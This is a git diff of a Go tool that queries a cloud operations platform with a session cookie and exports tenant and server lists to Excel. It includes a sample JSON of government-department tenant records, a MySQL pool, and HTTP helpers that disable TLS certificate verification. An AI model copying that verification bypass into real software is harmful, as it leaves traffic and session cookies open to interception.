for key, value := range headers {
|
||||
r.Header.Set(key, value) // 使用 Set 方法设置请求头
|
||||
}
|
||||
// 创建一个 HTTP 客户端,跳过证书验证
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
}
|
||||
// 发送请求
|
||||
client := &http.Client{Transport: tr}
|
||||
resp, err := client.Do(r)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 检查响应状态码
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated {
|
||||
log.Printf("server returned: %s", resp.Status)
|
||||
}
|
||||
|
||||
// 读取响应体内容
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// log.Println(string(body))
|
||||
return string(body)
|
||||
}
|
||||
|
||||
// req 请求体 url 请求地址 headers请求头
|
||||
func DT_GET(urls string, headers map[string]string, bytess io.Reader) string {
|
||||
url, err := url.Parse(urls)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// 创建一个 POST 请求
|
||||
r, err := http.NewRequest(http.MethodGet, url.String(), bytess)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
|
||||
// // 设置请求头
|
||||
// r.Header.Set("Content-Type", "application/json")
|
||||
// 使用 map 动态设置请求头 // 设置请求头 req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
|
||||
for key, value := range headers {
|
||||
r.Header.Set(key, value) // 使用 Set 方法设置请求头
|
||||
}
|
||||
// 创建一个 HTTP 客户端,跳过证书验证
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
}
|
||||
// 发送请求
|
||||
client := &http.Client{Transport: tr}
|
||||
resp, err := client.Do(r)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 检查响应状态码
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated {
|
||||
log.Printf("server returned: %s", resp.Status)
|
||||
}
|
||||
|
||||
// 读取响应体内容
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// log.Println(string(body))
|
||||
return string(body)
|
||||
}
|
30
conn/parsers.go
Normal file
@ -0,0 +1,30 @@
|
||||
package conn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"encoding/xml"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// parsers.go 主要包含了一些通用的格式转换、解析操作
|
||||
|
||||
// ScanXml 按xml格式解析resp的payload(Body)
|
||||
func ScanXml(resp *http.Response, v interface{}) error {
|
||||
return xml.NewDecoder(resp.Body).Decode(v)
|
||||
}
|
||||
|
||||
// ScanJson 按json格式解析resp的payload(Body)
|
||||
func ScanJson(resp *http.Response, v interface{}) error {
|
||||
return json.NewDecoder(resp.Body).Decode(v)
|
||||
}
|
||||
|
||||
// ToJsonBuff 转成 json 格式的 buff,作为 http body
|
||||
func ToJsonBuff(v any) (*bytes.Buffer, error) {
|
||||
var b bytes.Buffer
|
||||
e := json.NewEncoder(&b)
|
||||
// 设置禁止html转义
|
||||
e.SetEscapeHTML(false)
|
||||
err := e.Encode(v)
|
||||
return &b, err
|
||||
}
|
34
damo/damo.go
Normal file
@ -0,0 +1,34 @@
|
||||
package damo
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"math"
|
||||
"time"
|
||||
)
|
||||
|
||||
func Damo() {
|
||||
startTime, _ := time.Parse("2006-01-02", "2023-01-01") //之前的时间
|
||||
endTime, _ := time.Parse("2006-01-02", "2023-01-05") //当前时间
|
||||
|
||||
// 计算时间段分成一天一段
|
||||
for current := startTime; current.Before(endTime) || current.Equal(endTime); {
|
||||
// 当天的开始时间(00:00:00)
|
||||
dayStart := time.Date(current.Year(), current.Month(), current.Day(), 0, 0, 0, 0, current.Location())
|
||||
// 当天的结束时间(23:59:59)
|
||||
dayEnd := dayStart.AddDate(0, 0, 1).Add(-1 * time.Nanosecond)
|
||||
|
||||
// 如果当前计算的结束时间超过endTime,则将endTime作为结束时间
|
||||
if dayEnd.After(endTime) {
|
||||
dayEnd = time.Date(endTime.Year(), endTime.Month(), endTime.Day(), 23, 59, 59, 999999999, endTime.Location())
|
||||
}
|
||||
|
||||
fmt.Printf("从 %s 到 %s\n", dayStart.Format("2006-01-02T15:04:05"), dayEnd.Format("2006-01-02T15:04:05"))
|
||||
|
||||
// 移动到下一天
|
||||
current = current.AddDate(0, 0, 1)
|
||||
}
|
||||
totalPages := int(math.Floor(float64(610))/float64(200) + 1)
|
||||
log.Println(totalPages)
|
||||
log.Println(time.Date(time.Now().Year(), time.Now().Month(), time.Now().Day(), 0, 0, 0, 0, time.Now().Location()))
|
||||
}
|
58
dbpool/mysqldb.go
Normal file
@ -0,0 +1,58 @@
|
||||
package dbpool
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"dt_automate/conf"
|
||||
"dt_automate/tool"
|
||||
"log"
|
||||
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
)
|
||||
|
||||
var db *sql.DB
|
||||
|
||||
func init() {
|
||||
db, _ = sql.Open("mysql", tool.KeyStr(conf.GET_Config_yaml("mysql.root").(string))+":"+tool.KeyStr(conf.GET_Config_yaml("mysql.password").(string))+"@tcp(fanyu.online:53306)/?charset=utf8&parseTime=True&loc=Local")
|
||||
db.SetMaxOpenConns(20)
|
||||
db.SetMaxIdleConns(10)
|
||||
// DB.SetConnMaxLifetime(100)
|
||||
err := db.Ping()
|
||||
if err != nil {
|
||||
log.Println("database init failed, err: ", err)
|
||||
return
|
||||
}
|
||||
log.Println("mysql conn pool has initiated.")
|
||||
}
|
||||
|
||||
// QueryRows 是一个通用的查询函数,它执行SQL查询并返回结果集
|
||||
func QueryRows(query string, args ...any) (*sql.Rows, error) {
|
||||
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return rows, nil
|
||||
}
|
||||
|
||||
// ExecuteSQL 是一个通用的插入函数,它执行SQL插入并返回结果集
|
||||
func ExecuteSQL(query string, args ...any) (sql.Result, error) {
|
||||
|
||||
result, err := db.Exec(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
type Douy_info struct {
|
||||
Mobile_phone_number sql.NullString
|
||||
SerialNumber sql.NullString
|
||||
Username sql.NullString
|
||||
Initial_time sql.NullString
|
||||
End_time sql.NullString
|
||||
Surplus_time sql.NullString
|
||||
Key sql.NullString
|
||||
Status sql.NullString
|
||||
}
|
BIN
donut_chart_with_labels.png
Normal file
After Width: | Height: | Size: 37 KiB |
1056
dtcloud/cpu.json
Normal file
300
dtcloud/csoc.json
Normal file
@ -0,0 +1,300 @@
|
||||
{
|
||||
"code": 200,
|
||||
"success": true,
|
||||
"message": "成功",
|
||||
"total": 20,
|
||||
"page": 1,
|
||||
"pageSize": 10,
|
||||
"data": [
|
||||
{
|
||||
"id": 55,
|
||||
"uid": "bc23986941ba41a1910f4c118d4b4ce7",
|
||||
"name": "csoc-bcb5cdf6",
|
||||
"clientNum": 1,
|
||||
"logClientNum": 1,
|
||||
"scanClientNum": 1,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2025-1-21 18:08:29",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2025-1-21 18:08:29",
|
||||
"updateTime": "2025-1-21 18:08:53",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1881645028992880640",
|
||||
"tenantId": "1785054946119412649",
|
||||
"deptId": "1926681431100521513",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "一体化政务服务",
|
||||
"departmentName": "一体化新增_秒批秒办",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 54,
|
||||
"uid": "306dab13186a46edb789305a4dc03f6a",
|
||||
"name": "csoc-91aa2434",
|
||||
"clientNum": 1,
|
||||
"logClientNum": 1,
|
||||
"scanClientNum": 1,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2025-1-21 18:07:37",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2025-1-21 18:07:37",
|
||||
"updateTime": "2025-1-21 18:08:03",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1881644808183746560",
|
||||
"tenantId": "1785054946119412649",
|
||||
"deptId": "1926681366676012073",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "一体化政务服务",
|
||||
"departmentName": "一体化新增_全市通办",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 53,
|
||||
"uid": "abf43491ebb24d3a9ddf40ec114b4a85",
|
||||
"name": "csoc-883189cf",
|
||||
"clientNum": 9,
|
||||
"logClientNum": 9,
|
||||
"scanClientNum": 3,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2025-2-27 08:03:26",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-12-9 17:13:43",
|
||||
"updateTime": "2025-2-27 16:03:53",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1895021914234032128",
|
||||
"tenantId": "1910822955311431701",
|
||||
"deptId": "1910822955311431702",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "大同党建网",
|
||||
"departmentName": "大同党建网",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 52,
|
||||
"uid": "2fcc2643ad314f3abdbd00ae52b6da6c",
|
||||
"name": "csoc-b884a676",
|
||||
"clientNum": 2,
|
||||
"logClientNum": 2,
|
||||
"scanClientNum": 1,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2024-12-19 15:08:05",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-12-9 11:39:01",
|
||||
"updateTime": "2024-12-19 15:08:05",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1865964337005334528",
|
||||
"tenantId": "1910734655078793234",
|
||||
"deptId": "1910734655078793235",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "组织部12380举报网站",
|
||||
"departmentName": "组织部12380举报网站",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 50,
|
||||
"uid": "89b2f7bfb86b43719bcb5f5e984b5711",
|
||||
"name": "csoc-f5c5c81c",
|
||||
"clientNum": 2,
|
||||
"logClientNum": 2,
|
||||
"scanClientNum": 0,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2024-12-6 17:18:57",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-12-6 17:18:57",
|
||||
"updateTime": "2024-12-6 17:19:18",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1864962718767779840",
|
||||
"tenantId": "1909718143425576967",
|
||||
"deptId": "1909718143425576968",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "大同市委组织部_考核信息管理系统",
|
||||
"departmentName": "大同市委组织部_考核信息管理系统",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 49,
|
||||
"uid": "9197fb402f494aef959e4f83f4da6c5b",
|
||||
"name": "csoc-4e2dd013",
|
||||
"clientNum": 2,
|
||||
"logClientNum": 2,
|
||||
"scanClientNum": 0,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2024-12-6 09:54:26",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-12-6 15:27:04",
|
||||
"updateTime": "2024-12-6 09:54:26",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1864934566221844480",
|
||||
"tenantId": "1909688108987711503",
|
||||
"deptId": "1909688108987711504",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "行政审批服务管理局_便民系统",
|
||||
"departmentName": "行政审批服务管理局_便民系统",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 48,
|
||||
"uid": "02ca086ef44c4d4a96de2c55eb2e8992",
|
||||
"name": "csoc-157c95e0",
|
||||
"clientNum": 7,
|
||||
"logClientNum": 7,
|
||||
"scanClientNum": 0,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2024-11-14 08:54:34",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-11-14 16:40:13",
|
||||
"updateTime": "2024-11-14 08:54:34",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1856980440657694720",
|
||||
"tenantId": "1901541651243859980",
|
||||
"deptId": "1901541651243859981",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "煤矿安全风险监测预警系统",
|
||||
"departmentName": "煤矿安全风险监测预警系统",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 47,
|
||||
"uid": "8abdd18c2fa343b6b4e6b65d9bd81989",
|
||||
"name": "csoc-93898c0e",
|
||||
"clientNum": 2,
|
||||
"logClientNum": 2,
|
||||
"scanClientNum": 0,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2024-11-19 03:38:26",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-11-8 16:07:24",
|
||||
"updateTime": "2024-11-19 03:38:26",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1854797854221012992",
|
||||
"tenantId": "1899308289456340996",
|
||||
"deptId": "1899308289456340997",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "知识产权公共服务平台",
|
||||
"departmentName": "知识产权公共服务平台",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 46,
|
||||
"uid": "b52a8f5c84044bdc8e1d81c6e902eabb",
|
||||
"name": "csoc-c95a56d3",
|
||||
"clientNum": 1,
|
||||
"logClientNum": 1,
|
||||
"scanClientNum": 0,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2024-11-6 02:39:31",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-11-6 10:34:01",
|
||||
"updateTime": "2024-11-6 02:39:31",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1853989180950974464",
|
||||
"tenantId": "1898482788152115201",
|
||||
"deptId": "1898482788152115202",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "云州区委员会宣传部",
|
||||
"departmentName": "云州区委员会宣传部",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
},
|
||||
{
|
||||
"id": 45,
|
||||
"uid": "9bcaea0788c24eac8009929f76e0396e",
|
||||
"name": "csoc-a7d05da0",
|
||||
"clientNum": 2,
|
||||
"logClientNum": 2,
|
||||
"scanClientNum": 0,
|
||||
"payMode": "OnDemand",
|
||||
"regionCode": "dtcloud1",
|
||||
"zoneCode": "az0",
|
||||
"serviceType": 1,
|
||||
"serviceTypeStr": "企业版",
|
||||
"manageStatus": 1,
|
||||
"startTime": "2024-10-24 03:19:38",
|
||||
"expireTime": "2099-11-30 00:00:00",
|
||||
"createTime": "2024-10-24 11:16:36",
|
||||
"updateTime": "2024-10-24 03:19:38",
|
||||
"pin": "",
|
||||
"pinName": "",
|
||||
"createOrderId": "CSOC-1849288855308472320",
|
||||
"tenantId": "1893669818003881990",
|
||||
"deptId": "1893669818003881991",
|
||||
"resourceGroup": "",
|
||||
"tenantName": "大同市市场监督管理局",
|
||||
"departmentName": "大同市市场监督管理局",
|
||||
"resourceGroupName": "",
|
||||
"expireDays": 0,
|
||||
"expireHours": 0
|
||||
}
|
||||
]
|
||||
}
|
2722
dtcloud/ecs.json
Normal file
355
dtcloud/hlw_resource.go
Normal file
@ -0,0 +1,355 @@
|
||||
package dtcloud
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"dt_automate/conf"
|
||||
"dt_automate/conn"
|
||||
"dt_automate/tool"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"math"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/Esword618/unioffice/schema/soo/sml"
|
||||
"github.com/Esword618/unioffice/spreadsheet"
|
||||
)
|
||||
|
||||
var cookieStr = conf.GET_Config_yaml("dtcloud_cookie").(string)
|
||||
|
||||
// 运营平台-获取单个ecs的cpu使用情况
|
||||
func Cpu() {
|
||||
fileData, err := ioutil.ReadFile("dtcloud/cpu.json")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
var data map[string]interface{}
|
||||
err = json.Unmarshal(fileData, &data)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
log.Println(data)
|
||||
}
|
||||
|
||||
// 运营平台-获取单个ecs的memory使用情况
|
||||
func Memory() {
|
||||
fileData, err := ioutil.ReadFile("dtcloud/memory.json")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
var data map[string]interface{}
|
||||
err = json.Unmarshal(fileData, &data)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
log.Println(data)
|
||||
}
|
||||
|
||||
// 运营平台-获取租户列表
|
||||
func TenantList() {
|
||||
ss := spreadsheet.New()
|
||||
sheet := ss.AddSheet()
|
||||
// sheet.SetFrozen(true, false)
|
||||
v := sheet.InitialView()
|
||||
v.SetState(sml.ST_PaneStateFrozen)
|
||||
v.SetXSplit(0) //冻结列
|
||||
v.SetYSplit(1) //冻结行
|
||||
sheet.Cell("A1").SetString("序号")
|
||||
sheet.Cell("B1").SetString("租户ID")
|
||||
sheet.Cell("C1").SetString("用户ID")
|
||||
sheet.Cell("D1").SetString("创建者")
|
||||
sheet.Cell("E1").SetString("昵称")
|
||||
sheet.Cell("F1").SetString("租户用户名")
|
||||
sheet.Cell("G1").SetString("使用状态")
|
||||
sheet.Cell("H1").SetString("创建时间")
|
||||
log.Println("生成表格列名完成")
|
||||
// fileData, err := ioutil.ReadFile("dtcloud/user.json")
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
var num = 1 //页数
|
||||
url := "https://user.hlw.dtcloud.com/api/account-tenant/v1/tenant/pageList?pageSize=10&pageNum=" + strconv.Itoa(num) + "&tenantName=&id=&userAdminCode=&userAdminId=&isIdentity=&status=&tenantIdentity=&enterpriseName=&creator="
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/json",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
ecslistStr := conn.DT_GET(url, header, nil)
|
||||
var data map[string]interface{}
|
||||
err := json.Unmarshal([]byte(ecslistStr), &data)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
if data["data"].(map[string]interface{})["total"].(float64) <= 10 {
|
||||
for _, usr := range data["data"].(map[string]interface{})["list"].([]interface{}) {
|
||||
log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
a, _ := strconv.ParseInt(usr.(map[string]interface{})["createTime"].(string), 10, 64)
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(len(sheet.Rows()) - 1))
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["id"].(string))
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["userAdminId"].(string))
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["creator"].(string))
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["tenantName"].(string))
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["userAdminCode"].(string))
|
||||
if condition := usr.(map[string]interface{})["useStatus"].(float64); condition == 0 {
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString("正常")
|
||||
} else {
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString("禁用")
|
||||
}
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(time.Unix(a/1000, 0).Format("2006-01-02 15:04:05"))
|
||||
}
|
||||
} else {
|
||||
totalPages := int(math.Floor(data["data"].(map[string]interface{})["total"].(float64))/float64(10) + 1)
|
||||
for i := 0; i < totalPages; i++ {
|
||||
url := "https://user.hlw.dtcloud.com/api/account-tenant/v1/tenant/pageList?pageSize=10&pageNum=" + strconv.Itoa(num) + "&tenantName=&id=&userAdminCode=&userAdminId=&isIdentity=&status=&tenantIdentity=&enterpriseName=&creator="
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/json",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
ecslistStr := conn.DT_GET(url, header, nil)
|
||||
var data map[string]interface{}
|
||||
err := json.Unmarshal([]byte(ecslistStr), &data)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
for _, usr := range data["data"].(map[string]interface{})["list"].([]interface{}) {
|
||||
log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
a, _ := strconv.ParseInt(usr.(map[string]interface{})["createTime"].(string), 10, 64)
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(len(sheet.Rows()) - 1))
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["id"].(string))
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["userAdminId"].(string))
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["creator"].(string))
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["tenantName"].(string))
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(usr.(map[string]interface{})["userAdminCode"].(string))
|
||||
if condition := usr.(map[string]interface{})["useStatus"].(float64); condition == 0 {
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString("正常")
|
||||
} else {
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString("禁用")
|
||||
}
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(time.Unix(a/1000, 0).Format("2006-01-02 15:04:05"))
|
||||
}
|
||||
num++
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
// 保存修改后的 Excel 文件
|
||||
if err := ss.Validate(); err != nil {
|
||||
log.Fatalf("验证文件时出错: %s", err)
|
||||
}
|
||||
|
||||
if err := ss.SaveToFile("互联网区-运营平台租户列表" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".xlsx"); err != nil {
|
||||
log.Fatalf("保存文件时出错: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
// 运营平台-获取单ecs进程使用情况
|
||||
func Process() {
|
||||
fileData, err := ioutil.ReadFile("dtcloud/pid.json")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
var data map[string]interface{}
|
||||
err = json.Unmarshal(fileData, &data)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
log.Println(data)
|
||||
}
|
||||
|
||||
// 运营平台-获取ecs列表及其详情
|
||||
func EcsList() {
|
||||
ss := spreadsheet.New()
|
||||
sheet := ss.AddSheet()
|
||||
// sheet.SetFrozen(true, false)
|
||||
v := sheet.InitialView()
|
||||
v.SetState(sml.ST_PaneStateFrozen)
|
||||
v.SetXSplit(0) //冻结列
|
||||
v.SetYSplit(1) //冻结行
|
||||
sheet.Cell("A1").SetString("序号")
|
||||
sheet.Cell("B1").SetString("创建时间")
|
||||
sheet.Cell("C1").SetString("更新时间")
|
||||
sheet.Cell("D1").SetString("过期时间")
|
||||
sheet.Cell("E1").SetString("ECS_ID")
|
||||
sheet.Cell("F1").SetString("租住ID")
|
||||
sheet.Cell("G1").SetString("显示名称")
|
||||
sheet.Cell("H1").SetString("租户名称")
|
||||
sheet.Cell("I1").SetString("所属区域")
|
||||
sheet.Cell("J1").SetString("CPU架构")
|
||||
sheet.Cell("K1").SetString("系统类型")
|
||||
sheet.Cell("L1").SetString("运行状态")
|
||||
sheet.Cell("M1").SetString("CPU核心数")
|
||||
sheet.Cell("N1").SetString("内存/GB")
|
||||
sheet.Cell("O1").SetString("系统磁盘/GB")
|
||||
sheet.Cell("P1").SetString("存储磁盘/GB")
|
||||
sheet.Cell("Q1").SetString("宿主机IP")
|
||||
sheet.Cell("R1").SetString("MAC地址")
|
||||
sheet.Cell("S1").SetString("安全组")
|
||||
sheet.Cell("T1").SetString("网络类型")
|
||||
sheet.Cell("U1").SetString("EIP")
|
||||
sheet.Cell("V1").SetString("带宽大小(入/出)")
|
||||
sheet.Cell("W1").SetString("部门名称")
|
||||
sheet.Cell("X1").SetString("部门ID")
|
||||
sheet.Cell("Y1").SetString("主机型号")
|
||||
sheet.Cell("Z1").SetString("CPU型号")
|
||||
sheet.Cell("AA1").SetString("CPU模式")
|
||||
sheet.Cell("AB1").SetString("nodeName")
|
||||
sheet.Cell("AC1").SetString("cpu超出比率")
|
||||
log.Println("生成表格列名完成")
|
||||
// 加载json文件
|
||||
// fileData, err := ioutil.ReadFile("dtcloud/ecs.json")
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// var data map[string]interface{}
|
||||
// err = json.Unmarshal(fileData, &data)
|
||||
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
url := "https://user.hlw.dtcloud.com/api/ecs/v1/instances?requestInfo=dtcloud2&pageSize=10&pageNumber=1&filter=&orderBy=created_at:desc"
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/json",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
ecslistStr := conn.DT_GET(url, header, nil)
|
||||
var data map[string]interface{}
|
||||
err := json.Unmarshal([]byte(ecslistStr), &data)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
if data["data"].(map[string]interface{})["totalCount"].(float64) <= 10 {
|
||||
for _, ecs := range data["data"].(map[string]interface{})["virtualMachines"].([]interface{}) {
|
||||
log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(len(sheet.Rows()) - 1)) //序号
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["createdAt"].(string)) //创建时间
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["updatedAt"].(string)) //更新时间
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["expiredAt"].(string)) //过期时间
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["ecsId"].(string)) //ECS_ID
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["tenantId"].(string)) //租住ID
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["displayName"].(string)) //显示名称
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["tenantName"].(string)) //租户名称
|
||||
sheet.Cell("I" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["region"].(string) + "/" + ecs.(map[string]interface{})["az"].(string) + "/" + ecs.(map[string]interface{})["cell"].(string)) //所属区域(X/X/X)
|
||||
sheet.Cell("J" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["cpuArch"].(string)) //CPU架构
|
||||
